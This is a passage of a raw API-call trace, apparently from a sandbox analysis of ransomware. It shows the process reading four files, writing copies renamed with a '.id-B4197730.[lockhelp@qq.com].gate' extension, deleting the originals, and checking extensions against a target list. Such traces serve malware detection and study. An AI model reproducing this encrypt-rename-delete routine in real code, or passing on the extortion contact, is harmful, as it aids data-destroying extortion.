[0113.609] CloseHandle (hObject=0x348) returned 1 [0113.609] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0113.609] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.609] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0113.609] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.610] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.610] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0113.613] GetLastError () returned 0x0 [0113.613] ReadFile (in: hFile=0x348, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x988a, lpOverlapped=0x0) returned 1 [0113.682] WriteFile (in: hFile=0x314, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x9890, lpOverlapped=0x0) returned 1 [0113.683] ReadFile (in: hFile=0x348, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.683] WriteFile (in: hFile=0x314, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xe8, lpOverlapped=0x0) returned 1 [0113.683] SetEndOfFile (hFile=0x314) returned 1 [0113.684] CloseHandle (hObject=0x314) returned 1 [0113.685] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.685] SetEndOfFile (hFile=0x348) returned 1 [0113.686] CloseHandle (hObject=0x348) returned 1 [0113.686] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.686] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1 [0113.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0113.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0113.687] lstrlenW (lpString=".doc") returned 4 [0113.687] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.687] lstrlenW (lpString=".docx") returned 5 [0113.687] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0113.687] lstrlenW (lpString=".pdf") returned 4 [0113.687] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.687] lstrlenW (lpString=".xls") returned 4 [0113.687] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.687] lstrlenW (lpString=".xlsx") returned 5 [0113.687] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0113.687] lstrlenW (lpString=".ppt") returned 4 [0113.687] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0113.687] lstrlenW (lpString=".zip") returned 4 [0113.687] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.687] lstrlenW (lpString=".rar") returned 4 [0113.687] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.687] lstrlenW (lpString=".bz2") returned 4 [0113.687] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.687] lstrlenW (lpString=".7z") returned 3 [0113.687] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0113.687] lstrlenW (lpString=".dbf") returned 4 [0113.687] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0113.687] lstrlenW (lpString=".1cd") returned 4 [0113.687] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0113.687] lstrlenW (lpString=".jpg") returned 4 [0113.688] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0113.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0113.688] lstrlenW (lpString=".doc") returned 4 [0113.688] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.688] lstrlenW (lpString=".docx") returned 5 [0113.688] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0113.688] lstrlenW (lpString=".pdf") returned 4 [0113.688] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.688] lstrlenW (lpString=".xls") returned 4 [0113.688] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.688] lstrlenW (lpString=".xlsx") returned 5 [0113.688] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0113.688] lstrlenW (lpString=".ppt") returned 4 [0113.688] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0113.688] lstrlenW (lpString=".zip") returned 4 [0113.688] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.688] lstrlenW (lpString=".rar") returned 4 [0113.688] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.688] lstrlenW (lpString=".bz2") returned 4 [0113.688] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.688] lstrlenW (lpString=".7z") returned 3 [0113.688] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0113.688] lstrlenW (lpString=".dbf") returned 4 [0113.688] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.689] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0113.689] lstrlenW (lpString=".1cd") returned 4 [0113.689] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.689] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0113.689] lstrlenW (lpString=".jpg") returned 4 [0113.689] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.689] lstrcmpiW (lpString1=".bmp", lpString2=".gate") returned -1 [0113.689] lstrlenW (lpString="SplashScreen.bmp") returned 16 [0113.689] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0113.691] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=41080) returned 1 [0113.691] CloseHandle (hObject=0x308) returned 1 [0113.691] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0113.691] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.691] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0113.692] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.692] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.692] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0113.692] GetLastError () returned 0x0 [0113.692] ReadFile (in: hFile=0x308, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0xa078, lpOverlapped=0x0) returned 1 [0113.737] WriteFile (in: hFile=0x368, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xa080, lpOverlapped=0x0) returned 1 [0113.739] ReadFile (in: hFile=0x308, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.739] WriteFile (in: hFile=0x368, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xf4, lpOverlapped=0x0) returned 1 [0113.739] SetEndOfFile (hFile=0x368) returned 1 [0113.739] CloseHandle (hObject=0x368) returned 1 [0113.740] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.740] SetEndOfFile (hFile=0x308) returned 1 [0113.741] CloseHandle (hObject=0x308) returned 1 [0113.741] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.741] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1 [0113.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0113.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0113.742] lstrlenW (lpString=".doc") returned 4 [0113.742] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0113.742] lstrlenW (lpString=".docx") returned 5 [0113.742] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0113.742] lstrlenW (lpString=".pdf") returned 4 [0113.742] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0113.742] lstrlenW (lpString=".xls") returned 4 [0113.742] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0113.742] lstrlenW (lpString=".xlsx") returned 5 [0113.742] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0113.742] lstrlenW (lpString=".ppt") returned 4 [0113.742] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0113.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0113.742] lstrlenW (lpString=".zip") returned 4 [0113.742] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0113.742] lstrlenW (lpString=".rar") returned 4 [0113.742] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0113.742] lstrlenW (lpString=".bz2") returned 4 [0113.742] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0113.742] lstrlenW (lpString=".7z") returned 3 [0113.742] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0113.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0113.742] lstrlenW (lpString=".dbf") returned 4 [0113.742] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0113.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0113.742] lstrlenW (lpString=".1cd") returned 4 [0113.742] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0113.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0113.743] lstrlenW (lpString=".jpg") returned 4 [0113.743] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0113.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0113.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0113.743] lstrlenW (lpString=".doc") returned 4 [0113.743] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0113.743] lstrlenW (lpString=".docx") returned 5 [0113.743] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0113.743] lstrlenW (lpString=".pdf") returned 4 [0113.743] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0113.743] lstrlenW (lpString=".xls") returned 4 [0113.743] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0113.743] lstrlenW (lpString=".xlsx") returned 5 [0113.743] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0113.743] lstrlenW (lpString=".ppt") returned 4 [0113.743] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0113.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0113.743] lstrlenW (lpString=".zip") returned 4 [0113.743] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0113.743] lstrlenW (lpString=".rar") returned 4 [0113.743] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0113.743] lstrlenW (lpString=".bz2") returned 4 [0113.743] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0113.743] lstrlenW (lpString=".7z") returned 3 [0113.743] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0113.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0113.743] lstrlenW (lpString=".dbf") returned 4 [0113.743] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0113.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0113.743] lstrlenW (lpString=".1cd") returned 4 [0113.743] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0113.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0113.743] lstrlenW (lpString=".jpg") returned 4 [0113.743] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0113.744] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.744] lstrlenW (lpString="Strings.xml") returned 11 [0113.744] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0113.744] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=14084) returned 1 [0113.744] CloseHandle (hObject=0x308) returned 1 [0113.744] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0113.744] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.744] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0113.744] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.744] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.744] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0113.745] GetLastError () returned 0x0 [0113.745] ReadFile (in: hFile=0x308, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x3704, lpOverlapped=0x0) returned 1 [0113.836] WriteFile (in: hFile=0x368, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x3710, lpOverlapped=0x0) returned 1 [0113.837] ReadFile (in: hFile=0x308, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.837] WriteFile (in: hFile=0x368, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xea, lpOverlapped=0x0) returned 1 [0113.837] SetEndOfFile (hFile=0x368) returned 1 [0113.837] CloseHandle (hObject=0x368) returned 1 [0113.838] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.838] SetEndOfFile (hFile=0x308) returned 1 [0113.839] CloseHandle (hObject=0x308) returned 1 [0113.839] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.839] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1 [0113.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0113.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0113.839] lstrlenW (lpString=".doc") returned 4 [0113.839] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.839] lstrlenW (lpString=".docx") returned 5 [0113.839] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0113.839] lstrlenW (lpString=".pdf") returned 4 [0113.839] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.839] lstrlenW (lpString=".xls") returned 4 [0113.839] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.839] lstrlenW (lpString=".xlsx") returned 5 [0113.839] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0113.840] lstrlenW (lpString=".ppt") returned 4 [0113.840] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0113.840] lstrlenW (lpString=".zip") returned 4 [0113.840] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.840] lstrlenW (lpString=".rar") returned 4 [0113.840] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.840] lstrlenW (lpString=".bz2") returned 4 [0113.840] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.840] lstrlenW (lpString=".7z") returned 3 [0113.840] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0113.840] lstrlenW (lpString=".dbf") returned 4 [0113.840] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0113.840] lstrlenW (lpString=".1cd") returned 4 [0113.840] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0113.840] lstrlenW (lpString=".jpg") returned 4 [0113.840] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0113.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0113.840] lstrlenW (lpString=".doc") returned 4 [0113.840] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.840] lstrlenW (lpString=".docx") returned 5 [0113.840] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0113.840] lstrlenW (lpString=".pdf") returned 4 [0113.840] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.840] lstrlenW (lpString=".xls") returned 4 [0113.840] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.840] lstrlenW (lpString=".xlsx") returned 5 [0113.841] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0113.841] lstrlenW (lpString=".ppt") returned 4 [0113.841] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0113.841] lstrlenW (lpString=".zip") returned 4 [0113.841] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.841] lstrlenW (lpString=".rar") returned 4 [0113.841] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.841] lstrlenW (lpString=".bz2") returned 4 [0113.841] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.841] lstrlenW (lpString=".7z") returned 3 [0113.841] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0113.841] lstrlenW (lpString=".dbf") returned 4 [0113.841] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0113.841] lstrlenW (lpString=".1cd") returned 4 [0113.841] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0113.841] lstrlenW (lpString=".jpg") returned 4 [0113.841] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.841] lstrcmpiW (lpString1=".bmp", lpString2=".gate") returned -1 [0113.841] lstrlenW (lpString="watermark.bmp") returned 13 [0113.841] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0113.842] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=104072) returned 1 [0113.842] CloseHandle (hObject=0x308) returned 1 [0113.842] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0113.842] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.842] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0113.842] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.842] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.842] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0113.843] GetLastError () returned 0x0 [0113.843] ReadFile (in: hFile=0x308, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x19688, lpOverlapped=0x0) returned 1 [0113.955] WriteFile (in: hFile=0x368, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x19690, lpOverlapped=0x0) returned 1 [0113.958] ReadFile (in: hFile=0x308, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.958] WriteFile (in: hFile=0x368, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xee, lpOverlapped=0x0) returned 1 [0113.958] SetEndOfFile (hFile=0x368) returned 1 [0113.958] CloseHandle (hObject=0x368) returned 1 [0113.961] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.961] SetEndOfFile (hFile=0x308) returned 1 [0113.962] CloseHandle (hObject=0x308) returned 1 [0113.962] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.963] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1 [0113.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0113.963] lstrlenW 